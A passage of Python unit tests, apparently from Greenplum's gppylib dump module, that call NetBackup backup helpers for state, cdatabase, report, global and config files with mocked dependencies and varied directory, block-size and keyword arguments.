timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
def test_backup_state_files_with_nbu_12(self, mock1):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = None
netbackup_keyword = "foo"
backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_cdatabase_file_with_nbu_00(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_cdatabase_file_with_nbu_01(self, mock1, mock2):
master_datadir = "/data"
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_cdatabase_file_with_nbu_02(self, mock1, mock2):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_cdatabase_file_with_nbu_03(self, mock1, mock2):
master_datadir = None
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
with self.assertRaisesRegexp(Exception, 'Master data directory and backup directory are both none.'):
backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_cdatabase_file_with_nbu_04(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, timestamp_key, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_cdatabase_file_with_nbu_05(self, mock1, mock2):
master_datadir = "/data"
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_cdatabase_file_with_nbu_06(self, mock1, mock2):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_cdatabase_file_with_nbu_07(self, mock1, mock2):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = None
netbackup_keyword = None
backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_cdatabase_file_with_nbu_08(self, mock1, mock2):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = None
netbackup_keyword = None
backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_cdatabase_file_with_nbu_09(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_cdatabase_file_with_nbu_10(self, mock1, mock2):
master_datadir = "/data"
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_cdatabase_file_with_nbu_11(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, timestamp_key, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_cdatabase_file_with_nbu_12(self, mock1, mock2):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = None
netbackup_keyword = "foo"
backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_report_file_with_nbu_00(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_report_file_with_nbu_01(self, mock1, mock2):
master_datadir = "/data"
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_report_file_with_nbu_02(self, mock1, mock2):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_report_file_with_nbu_03(self, mock1, mock2):
master_datadir = None
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
with self.assertRaisesRegexp(Exception, 'Master data directory and backup directory are both none.'):
backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_report_file_with_nbu_04(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_report_file_with_nbu_05(self, mock1, mock2):
master_datadir = "/data"
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_report_file_with_nbu_06(self, mock1, mock2):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_report_file_with_nbu_07(self, mock1, mock2):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = None
netbackup_keyword = None
backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_report_file_with_nbu_08(self, mock1, mock2):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = None
netbackup_keyword = None
backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_report_file_with_nbu_09(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_report_file_with_nbu_10(self, mock1, mock2):
master_datadir = "/data"
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_report_file_with_nbu_11(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_report_file_with_nbu_12(self, mock1, mock2):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = None
netbackup_keyword = "foo"
backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_global_file_with_nbu_00(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_global_file_with_nbu_01(self, mock1, mock2):
master_datadir = "/data"
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_global_file_with_nbu_02(self, mock1, mock2):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_global_file_with_nbu_03(self, mock1, mock2):
master_datadir = None
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
with self.assertRaisesRegexp(Exception, 'Master data directory and backup directory are both none.'):
backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_global_file_with_nbu_04(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_global_file_with_nbu_05(self, mock1, mock2):
master_datadir = "/data"
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_global_file_with_nbu_06(self, mock1, mock2):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_global_file_with_nbu_07(self, mock1, mock2):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = None
netbackup_keyword = None
backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_global_file_with_nbu_08(self, mock1, mock2):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = None
netbackup_keyword = None
backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_global_file_with_nbu_09(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_global_file_with_nbu_10(self, mock1, mock2):
master_datadir = "/data"
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_global_file_with_nbu_11(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_global_file_with_nbu_12(self, mock1, mock2):
master_datadir = None
backup_dir = "/datadomain"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = None
netbackup_keyword = "foo"
backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_master_config_filename')
@patch('gppylib.operations.dump.generate_segment_config_filename')
@patch('gppylib.operations.dump.GpArray.initFromCatalog')
@patch('gppylib.operations.dump.GpArray.getDbList')
def test_backup_config_files_with_nbu_00(self, mock1, mock2, mock3, mock4, mock5):
master_datadir = "/data"
backup_dir = "/datadomain"
master_port = "5432"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
mock_segs = [Mock(), Mock()]
for id, seg in enumerate(mock_segs):
seg.isSegmentPrimary.return_value = True
seg.getSegmentDbId.return_value = id + 1
seg.getSegmentDataDirectory.return_value = "/data"
seg.getSegmentHostName.return_value = "sdw"
backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_master_config_filename')
@patch('gppylib.operations.dump.generate_segment_config_filename')
@patch('gppylib.operations.dump.GpArray.initFromCatalog')
@patch('gppylib.operations.dump.GpArray.getDbList')
def test_backup_config_files_with_nbu_01(self, mock1, mock2, mock3, mock4, mock5):
master_datadir = "/data"
backup_dir = None
master_port = "5432"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
mock_segs = [Mock(), Mock()]
mock_segs = [Mock(), Mock()]
for id, seg in enumerate(mock_segs):
seg.isSegmentPrimary.return_value = True
seg.getSegmentDbId.return_value = id + 1
seg.getSegmentDataDirectory.return_value = "/data"
seg.getSegmentHostName.return_value = "sdw"
backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_master_config_filename')
@patch('gppylib.operations.dump.generate_segment_config_filename')
@patch('gppylib.operations.dump.GpArray.initFromCatalog')
@patch('gppylib.operations.dump.GpArray.getDbList')
def test_backup_config_files_with_nbu_02(self, mock1, mock2, mock3, mock4, mock5):
master_datadir = None
backup_dir = "/datadomain"
master_port = "5432"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_block_size = 100
netbackup_keyword = None
mock_segs = [Mock(), Mock()]
netbackup_schedule = "test_schedule"
mock_segs = [Mock(), Mock()]
for id, seg in enumerate(mock_segs):
seg.isSegmentPrimary.return_value = True
seg.getSegmentDbId.return_value = id + 1
seg.getSegmentDataDirectory.return_value = "/data"
seg.getSegmentHostName.return_value = "sdw"
backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_master_config_filename')
@patch('gppylib.operations.dump.generate_segment_config_filename')
@patch('gppylib.operations.dump.GpArray.initFromCatalog')
@patch('gppylib.operations.dump.GpArray.getDbList')
def test_backup_config_files_with_nbu_03(self, mock1, mock2, mock3, mock4, mock5):
master_datadir = None
backup_dir = None
master_port = "5432"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
mock_segs = [Mock(), Mock()]
mock_segs = [Mock(), Mock()]
for id, seg in enumerate(mock_segs):
seg.isSegmentPrimary.return_value = True
seg.getSegmentDbId.return_value = id + 1
seg.getSegmentDataDirectory.return_value = "/data"
seg.getSegmentHostName.return_value = "sdw"
with self.assertRaisesRegexp(Exception, 'Master data directory and backup directory are both none.'):
backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_master_config_filename')
@patch('gppylib.operations.dump.generate_segment_config_filename')
@patch('gppylib.operations.dump.GpArray.initFromCatalog')
@patch('gppylib.operations.dump.GpArray.getDbList')
def test_backup_config_files_with_nbu_04(self, mock1, mock2, mock3, mock4, mock5):
master_datadir = "/data"
backup_dir = "/datadomain"
master_port = "5432"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
mock_segs = [Mock(), Mock()]
timestamp_key = "20140014000000"
mock_segs = [Mock(), Mock()]
for id, seg in enumerate(mock_segs):
seg.isSegmentPrimary.return_value = True
seg.getSegmentDbId.return_value = id + 1
seg.getSegmentDataDirectory.return_value = "/data"
seg.getSegmentHostName.return_value = "sdw"
backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_master_config_filename')
@patch('gppylib.operations.dump.generate_segment_config_filename')
@patch('gppylib.operations.dump.GpArray.initFromCatalog')
@patch('gppylib.operations.dump.GpArray.getDbList')
def test_backup_config_files_with_nbu_05(self, mock1, mock2, mock3, mock4, mock5):
master_datadir = "/data"
backup_dir = None
master_port = "5432"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
mock_segs = [Mock(), Mock()]
timestamp_key = "20140014000000"
mock_segs = [Mock(), Mock()]
for id, seg in enumerate(mock_segs):
seg.isSegmentPrimary.return_value = True
seg.getSegmentDbId.return_value = id + 1
seg.getSegmentDataDirectory.return_value = "/data"
seg.getSegmentHostName.return_value = "sdw"
backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_master_config_filename')
@patch('gppylib.operations.dump.generate_segment_config_filename')
@patch('gppylib.operations.dump.GpArray.initFromCatalog')
@patch('gppylib.operations.dump.GpArray.getDbList')
def test_backup_config_files_with_nbu_06(self, mock1, mock2, mock3, mock4, mock5):
master_datadir = None
backup_dir = "/datadomain"
master_port = "5432"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
